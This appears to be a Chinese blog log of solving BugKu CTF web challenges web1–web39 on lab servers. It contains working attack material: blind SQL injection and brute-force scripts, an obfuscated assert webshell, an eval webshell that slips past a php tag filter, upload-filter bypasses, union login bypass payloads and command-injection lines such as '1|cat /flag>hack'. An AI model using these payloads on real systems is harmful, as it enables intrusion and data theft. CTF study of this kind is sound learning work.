下面是对bugku刷题的记录:
web1 刚开始图片花里胡哨的,f12查看源码,有flag。
web2 想直接修改源码为1+1,再输入2验证,发现密码有误。
再找找js代码,结果发现flag就在里面哈哈哈;
还可以修改长度限制,maxlength。
web3 很简单的一个get提交。
web4 很简单的一个post提交。
web5 php弱类型比较,1再加一个字母即可。
web6 火狐浏览器直接停止弹窗,查看源码,后面有一串编码,对编码了解比较少,就上网搜了一个解码器,一试结果就出来了,是unicode编码。
如果是别的浏览器,禁用js就能阻止弹窗。
web7 使用burp,到repeater,多go几次,flag就出来了。
web8 文件包含flag.php,使用get传入参数,直接使用代码中的函数show_source查看flag.php文件。
web9 这里有个正则过滤参数,过滤了非字母、数字、下划线的代码。
想用”web8“方式解题,行不通,再读读题,flag隐藏在变量中,百度查到一个引用全局作用域中可用的全部变量——GLOBALS(记得大写,有区分。)
直接传入GLOBALS
web10 本来还想扫一下目录的,结果用burp查看到了repeater结果flag就在消息头。
其实直接f12就能查看到了在消息头中。
web11 直接扫描目录,扫到一个shell.php,访问有个登陆页面,使用burp进行密码爆破,密码为hack。
web12 知道用户名为admin,想直接使用密码爆破,但是封IP,再查看源码发现有一段base64加密的代码,解密得到的应该是登陆密码test123。还要解封IP,想到使用X-Forwarded-For伪造真实IP为127.0.0.1,使用burp添加上即可获得flag。
web13 查看源码,发现url编码,到专门的解码器去解码获得,
再根据代码拼接flag内容。
web14 点击后出现index.php,猜测flag在index.php,
直接修改show.php为index.php来读取,读取失败,
再仔细看看url中有个file,我们可尝试使用文件包含,php伪协议,来读取文件index.php。
再解base64编码得出flag,源码中的确存在文件包含。(php伪协议在前面的文章有详细介绍)
web15 这里提示很明显,直接使用burp爆破密码,就是量有点大,时间比较久,还有设置数字爆破时,
需要一个小操作,这个时候payload的数字只有一个
需要切换到Hex,再切换回去,payload的数字才会更新。(这是burp的一个小bug)。
爆破出来密码是12468。
登陆就有flag,这里也可以使用python脚本爆破,速度更快。
web16 备份是个好习惯,一看见备份,直接扫描目录,发现index.php.bak,打开文件,查看源码。
百度了一下,md5无法加密数组 ,我们就可以使用数组,使得加密的值都为null值相等。
居然不行,再仔细看看源码,发现key被替换了,双写绕过即可
web17 一看就知道是sql注入了,直接sqlmap爆破一手。
一爆破就出来了,这里不再赘述。
web18 —秋名山车神
要在2s内计算出结果,多刷新几次,发现要post提交数值,这里需使用python脚本了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 #!/usr/bin/python3 import requests#请求模块 import re#正则表达式模块 url='http://114.67.246.176:17346/' r=requests.session()#创建session值,否则提交结果的时候,重新生成了一个新的表达式。 text=r.get(url).text#将get获得的数据以文本形式显示,为后面做正则匹配。 bds=re.findall('<div>(.*?)</div>',text)#通过re模块的函数findall获取表达式 bds="".join(bds)#使用join方法把列表转为字符串,由于eval函数接收的类型。 bds=bds[:-3]#去除最后的=?;获得一串数字计算。 post=eval(bds)#计算表达式的值 data={'value':post}#构造post的data部分 flag=r.post(url,data=data) print(flag.text)
这里记得先安装一下python requests库(不自带) 到script 输入cmd 使用命令pip install requests
即可。
安装失败,说pip需要更新,复制下来即可,再次安装requests库。
如果无返回结果,多尝试几次即可。
web19 使用burp查看消息头,有加密的flag,base64解密,得到
被坑了,flag错误,再看看页面源码,有注释
要提交你发现的宽度 ,但是我们得到的不是数字,发现可以再一次base64解密 ,得到114989,在这里发现英语翻译的重要性,翻译错了方向容易错误。看样子就是跟上一题类似,要快就写脚本了,这个相比秋名山车神的简单,没有正则匹配。
1 2 3 4 5 6 7 8 9 10 11 12 #!/usr/bin/python3 import requests import base64 url = 'http://114.67.246.176:14900/' r= requests.session() # 获取session对话 retun = r.get(url).headers #已经查到 flag在header里面 s=retun['flag']#获取flag里面base64值 a=base64.b64decode(s).decode().split(' ')[1] # 第一个base64解码后面得到base64值把前面的字符过滤掉,以空格符分成两段,再获得我们想要的base64值。 b=base64.b64decode(a).decode() #第二次base64解码 data={'margin':b} print(r.post(url,data=data).text) #传值 post margin,并把返回数据以文本形式打印。
参考链接:https://blog.csdn.net/qq_46540840/article/details/113877495?ops_request_misc=%257B%2522request%255Fid%2522%253A%2522161676566116780274126883%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&request_id=161676566116780274126883&biz_id=0&utm_medium=distribute.pc_search_result.none-task-blog-2~all~sobaiduend~default-1-113877495.pc_search_result_no_baidu_js&utm_term=bugku+web19
web20 观察一下url,filename后面接的是base64加密的,我们解密一下是keys.txt。
这里还有一个?line=,试着在后面接数字,什么都没返回,我们再试着编码一下index.php,访问直接404。
可能filename后面接的是index.php,我们不妨试一下,没出错了,再改一下line的值,返回了源码了,我们使用python脚本把每一句读出来,不会写脚本可以一个个试一下。哈哈哈哈哈
1 2 3 4 5 6 #!/usr/bin/python3 import requests for i in range(25):#设置一个25就差不多了,可以更大 url="http://114.67.246.176:18675/?line="+str(i)+"&filename=aW5kZXgucGhw"#这里注意数字25要当作字符串处理。 s=requests.get(url) print (s.text) ##
整理得到:
代码审计一下,error_reporting(0)报错结果,直接性的源码泄露,传参给file文件经base64解码,所以要对index.php进行base64编码,
这里还有一个cookie值判断,flag应该就在keys.php,我们在把index.php修改成keys.php即可。
web21 f12发现源码中有个1p.html,试着访问一下,直接跳转到bugku首页,看了网上的师傅,要通过view-source 获得源码
发现参数被url编码,我们进行url解码。
还有base64加密,我们进行解密。又是一串url编码
我们对其解码,终于源码出来了。
代码审计一下,函数stripos检测变量a中是否出现.,出现则返回,file_get_contents函数将变量a读入data,函数eregi — 不区分大小写的正则表达式匹配,匹配成功返回true,匹配不成功返回false。
本题有三个难点,要从函数的限制和漏洞出发,还有php弱类型比较。
对于id参数的限制,要使得id值存在,且弱类型比较要为0,这里可以回看一下php弱类型比较,直接让id得参数值为a。
对于源码中data的值是通过file_get_contents读取变量a,所以a的值必须为数据流, 这里使用php伪协议来访问输入输出的数据流。
这里的意思是匹配111x的字符要是1114,x要为4,x是变量b中第一个字符,后面又有一句b的第一个字符不能为4,难点就在这里了。
函数eregi肯定存在漏洞,百度了一下,ereg()函数或eregi()函数存在空字符截断漏洞,即参数中的正则表达式或待匹配字符串遇到空字符则截断丢弃后面的数据
\x00即0x00,是一个十六进制转义符,用来表示空字符,这里需要url编码为%00 ,在前面upload靶场有%00截断的详细解释。
web22 题目描述: 送给大家一个过狗一句话 $poc=”a#s#s#e#r#t”; $poc_1=explode(“#”,$poc); $poc_2=$poc_1[0].$poc_1[1].$poc_1[2].$poc_1[3].$poc_1[4].$poc_1[5]; $poc_2($_GET[‘s’])
这句话的意思是,把poc里变量中assert(没有#)打散成数组赋值给poc_1,再把数组拼接赋值给poc_2,
最后就变成assert()函数获得get提交的变量s。(这里一些一句话木马绕过的技巧在前面文章web还有其他的。)
我们直接通过s变量提交命令执行,
查看文件,发现txt文件,直接访问得到flag。
web23 审计源码,又是正则表达式,这个匹配条件的确有点长,慢慢分析,就是简单的正则表达式匹配。
1 2 3 4 5 6 7 8 <?php highlight_file('2.php' ); $key ='flag{********************************}' ;$IM = preg_match("/key.*key.{4,7}key:\/.\/(.*key)[a-z][[:punct:]]/i" , trim($_GET ["id" ]), $match );if ( $IM ){ die ('key is: ' .$key ); } ?>
/key表示匹配key,key和key之间的.*表示贪婪模式,key和key之间的都会匹配,.表示匹配除换行符之外的任何单字符,{4,7}表示至少4次至多7次中括号前面的字符,[a-z]表示a到z的任意字符,[[:punct:]] :匹配任何标点符号;很多种构造方法。
对于正则表达式的学习可以参考https://www.runoob.com/regexp/regexp-tutorial.html
web24 一进去就很多话,先看看源码,发现一个code.txt,
1 2 3 4 5 6 7 8 9 10 11 12 <?php if (isset ($_GET ['v1' ]) && isset ($_GET ['v2' ]) && isset ($_GET ['v3' ])){ $v1 = $_GET ['v1' ]; $v2 = $_GET ['v2' ]; $v3 = $_GET ['v3' ]; if ($v1 != $v2 && md5($v1 ) == md5($v2 )){ if (!strcmp($v3 , $flag )){ echo $flag ; } } } ?>
第一个if条件我们通过前面学习的md5无法对数组加密进行绕过,第二个条件,
查看函数strcmp,作用是比较两个函数,strcmp(string1,string2)
如果string1等于string2,则返回=0,这里要使得函数返回值为0,还会echo出flag,同样使用了数组绕过函数比较,数组和字符串比较报错,返回0。
web25 先注册了一个账户,登陆,结果说不是管理员还想查看flag。做完了sql靶场,还是第一次听到约束注入,直接百度一下。
这篇文章不错https://www.jianshu.com/p/f564ef699b69
原理就是:
在insert中,sql会根据varchar来限制字符串的最大长度。 1、如果字符串的长度大于n个字符的话,那么仅使用字符串的前n个字符. 2、在sql中执行字符串处理时,字符串末尾的空格符将会被删除。
这里我们添加空格即可。
操作很简单,创建一个账户admin 后面加多点空格,再登陆即可获得flag。
web26 提示是否来着google。
添加一下referer值即可。
web27 题目描述:md5 collision(md5碰撞)
通过变量a随便提交一个数返回错误,看看有没有其他提示,也没发现,百度一下结果发现缺失源码。
1 2 3 4 5 6 7 8 9 10 11 12 13 $md51 = md5('QNKCDZO' );$a = @$_GET ['a' ];$md52 = @md5($a );if (isset ($a )){ if ($a != 'QNKCDZO' && $md51 == $md52 ) { echo "nctf{*****************}" ; } else { echo "false!!!" ; } } else { echo "please input a" ; }
看一下源码,这里又涉及md5加密,还有弱类型比较,但这个只能穿a一个值,加密md51和md52是弱类型比较,两个不用完全相等,
先看看’QNKCDZO’加密后的md5值,为0E830400451993494058024219903391,这里再进行弱类型比较时,0e开头,会被转换为科学计数法,我们只要找到转化后0E开头的值即可,这里有篇文章总结的不错:https://blog.csdn.net/bestlzk/article/details/77994272
web28 这题比xff_referer的还简单,在消息报头间加上X-Forwarded-For :127.0.0.1即可。
web29 —各种绕过
源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 <?php highlight_file('flag.php' ); $_GET ['id' ] = urldecode($_GET ['id' ]);$flag = 'flag{xxxxxxxxxxxxxxxxxx}' ;if (isset ($_GET ['uname' ]) and isset ($_POST ['passwd' ])) { if ($_GET ['uname' ] == $_POST ['passwd' ]) print 'passwd can not be uname.' ; else if (sha1($_GET ['uname' ]) === sha1($_POST ['passwd' ])&($_GET ['id' ]=='margin' )) die ('Flag: ' .$flag ); else print 'sorry!' ; } ?>
这里有新整出来一个加密sha1函数,感觉跟md5类似,这次不是弱类型比较了,但是可以用数组绕过,都为NULL值即相等。
web30 提示:txt
访问一下flag.txt返回bugku。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 <?php extract($_GET ); if (!empty ($ac )){ $f = trim(file_get_contents($fn ));if ($ac === $f ){ echo "<p>This is flag:" ." $flag </p>" ;} else { echo "<p>sorry!</p>" ;} } ?>
特别注意函数file_get_contents把整个文件读入一个字符串,读取的参数fn要为flag.txt文件,这里根据前面的提示,构造payload。
web31 提示:好像需要管理员
尝试了修改ip访问,都不行,扫一下目录吧
扫到了robots.txt,访问,发现resusl.php,再访问。
这里看见IP地址又向往这个方向整,结果错了,关键在提交x参数这句,刚开始尝试密码为bugkuctf. 错误了,再试一下admin就出来了。
这题方向太重要了,方向错了,尝试很久都不出来。
web32 有关文件上传的,这里尝试了很多,少修改了第一个Content-Type值。
第一个multipart/form-data专门用于有效的传输文件,通过大小写绕过。
第二个Conten-Type修改文件类型为image/jpeg即可。
这里的php后缀修改只有php4没被过滤(这个有点坑),
由于看不到源码,需要经过不断测试。
上传成功后连接蚁剑获得flag。
附上源码,
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 <html> <body> <?php $flag = "flag{test}" ?> <form action="index.php" method="post" enctype="multipart/form-data"> My name is margin,give me a image file not a php<br> <br> <input type="file" name="file" id="file" /> <input type="submit" name="submit" value="Submit" /> </form> <?php function global_filter(){ $type = $_SERVER["CONTENT_TYPE"]; if (strpos($type,"multipart/form-data") !== False){//这里要过滤 $file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1); $file_ext = strtolower($file_ext); if (stripos($file_ext,"php") !== False){ die("Invalid File<br />"); } } } ?> <?php global_filter(); if ((stripos($_FILES["file"]["type"],'image')!== False) && ($_FILES["file"]["size"] < 10*1024*1024)){ if ($_FILES["file"]["error"] == 0){ $file_ext = substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1); $file_ext = strtolower($file_ext); $allowexts = array('jpg','gif','jpeg','bmp','php4'); if(!in_array($file_ext,$allowexts)){ die("give me a image file not a php"); } $_FILES["file"]["name"]="bugku".date('dHis')."_".rand(1000,9999).".".$file_ext; if (file_exists("upload/" . $_FILES["file"]["name"])){ echo $_FILES["file"]["name"] . " already exists. <br />"; } else{ if (!file_exists('./upload/')){ mkdir ("./upload/"); system("chmod 777 /var/www/html/upload"); } move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $_FILES["file"]["name"]); echo "Upload Success<br>"; $filepath = "upload/" . $_FILES["file"]["name"]; echo "Stored in: " ."<a href='" . $filepath . "' target='_blank'>" . $filepath . "<br />"; } } } else{ if($_FILES["file"]["size"] > 0){ echo "You was catched! :) <br />"; } } ?> </body> </html>
web33 提示:fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=
经过base64加密。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php function encrypt ($data ,$key ) { $key = md5('ISCC' ); $x = 0 ; $len = strlen($data ); $klen = strlen($key ); for ($i =0 ; $i < $len ; $i ++) { if ($x == $klen ) { $x = 0 ; } $char .= $key [$x ]; $x +=1 ; } for ($i =0 ; $i < $len ; $i ++) { $str .= chr((ord($data [$i ]) + ord($char [$i ])) % 128 ); } return base64_encode($str ); } ?>
这一看就知道需要解密,写代码能力还偏弱,参考了一下大佬https://blog.csdn.net/qq_41209264/article/details/112255412
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 <?php $str = "fR4aHWwuFCYYVydFRxMqHhhCKBseH1dbFygrRxIWJ1UYFhotFjA=" ; $data = base64_decode($str ); for ($i =0 ; $i < strlen($data ); $i ++) { echo ord($data [$i ]).' ' ; } $key = md5('ISCC' ); $x = 0 ; $len = strlen($data ); $klen = strlen($key ); for ($i =0 ; $i < $len ; $i ++) { if ($x == $klen ) { $x = 0 ; } $char .= $key [$x ]; $x +=1 ; } echo $char .' ' ; for ($i =0 ; $i < $len ; $i ++) { $num = (ord($data [$i ]) - ord($char [$i ])) % 128 ; if ($num < 0 ){ $flag .= chr($num +128 ); }else { $flag .= chr($num ); } } echo $flag ?>
web34 描述:文件包含。
这里上传了一句话木马,然后利用文件包含漏洞解析一句话木马,结果</? /php 和/?>都被过滤了。
这里的file要包含upload路径,不然回显都是空白。
这里针对过滤php开头标志绕过手法:
<script language="php">@eval($_POST[1]);</script>
即可绕过。本题很重要的有两个,首先文件包含漏洞解析的时候路径要包含upload,第二个要清楚过滤了什么。
web35 查看源码,发现admin.css,访问。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 body { background-color : #C1DEE8 ; } p { margin : 20px 0 0 ; }.container { background-color : #ffffff ; border-radius : 10px ; width : 20% ; height : 20% ; margin : 10% auto; padding : 30px ; } input [type=text] , input [type=password] { width : 100% ; height : 40px ; } input [type=button] { width : 60% ; height : 40px ; border-radius : 20px ; }
尝试一下?10800,访问,得到php代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 <?php error_reporting(0); $KEY='ctf.bugku.com'; include_once("flag.php"); $cookie = $_COOKIE['BUGKU']; if(isset($_GET['10800'])){ show_source(__FILE__); } elseif (unserialize($cookie) === "$KEY") { echo "$flag"; } else { ?> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"> <title>Login</title> <link rel="stylesheet" href="admin.css" type="text/css"> </head> <body> <br> <div class="container" align="center"> <form method="POST" action="#"> <p><input name="user" type="text" placeholder="Username"></p> <p><input name="password" type="password" placeholder="Password"></p> <p><input value="Login" type="button"/></p> </form> </div> </body> </html> <?php } ?>
看了一下代码,把cookie值反序列化后要和参数KEY值相等,到php在线编辑器中进行序列化。
直接把值传入cookie:BUGKU=s:13:”ctf.bugku.com”;就可以了,
函数$_COOKIE()创建了名为BUGKU的变量。
这里有个函数天坑,include_once()只包含一次,所以别随便就访问flag.php会导致你后面都没有结果,还尝试了伪协议读取文件,浪费了很多时间,如果不小心包含了文件,重开浏览器就可以了。
web36 描述:全都过滤了。
提示:!,!=,=,+,-,^,%
进入登陆页面,扫描一下目录,发现了include和images,分别访问,访问images发现图片
看见函数mid,这里应该需要使用盲注,上网搜了大佬的盲注脚本。
这里需要知道:0和任何数异或等于任何数 ,如果盲注密码正确,返回1,admin正确,返回password错误。
这样admin^0就会返回admin
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import requestssession = requests.Session() url="http://114.67.246.176:15507/login.php" flag='' for i in range (1 ,250 ): left=32 right=128 mid=(left+right)//2 while (left<right): payload="admin'^((ascii(mid((select(group_concat(passwd)))from(%s)))>%s))^'1" %(i,mid) data = {'uname' : payload, 'passwd' : 'admin' } res = requests.post(url, data=data) if 'password' in res.text: left=mid+1 else : right=mid mid=(left+right)//2 if (mid==32 or mid==127 ): break flag=flag+chr (mid) print (flag)
参考连接https://blog.csdn.net/EC_Carrot/article/details/111830886
获得字符串,猜测应该是md5加密,解密得到 bugkuctf。
登陆成功ls执行语句,发现空格被过滤了,在linux里面有很多方式可以代替空格:
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
这里输入cat</flag获得flag。
web37 扫描目录,发现css,访问。
好像没啥用,这里用sqlmap跑一下,可以跑,结果到了获得账户和密码时为空。
再用burp抓包,发现有个小tip,
base64解密得到,
1 2 3 $sql="SELECT username,password FROM admin WHERE username='".$username."'"; if (!empty($row) && $row['password']===md5($password)){ }
代码审计,要求查询结果不为空,并且password值要经md5加密。
构造uname=admin’ union select 1,md5(1)#&passwd=1绕过登陆页面。(这里的union根据提示得到,为了使查询结果不为空。)
到了进程监控系统,这里有两种方法,第一种写入文件二次返回查看结果,第二种反弹shell。
这里先介绍法一:
通过|执行命令,把文件写入hack,然后访问hack。
再执行命令1|cat /flag>hack
获得flag。这对于命令操作指令熟练程度很重要,需要多加学习。
web38 提示:基于布尔的SQL盲注
从36到现在,开头都是一个登陆页面,试一下前面的密码,出来了。。。
还是要老老实实做一下,先用sqlmap爆破一下,跑不出来,还是要写脚本。
参考web36爆破。
web39 提示:CBC字节翻转攻击
扫描目录,扫到.index.php.swp,访问一下,跳到文件下载。
这题和后面的题目都比较难,先放一放。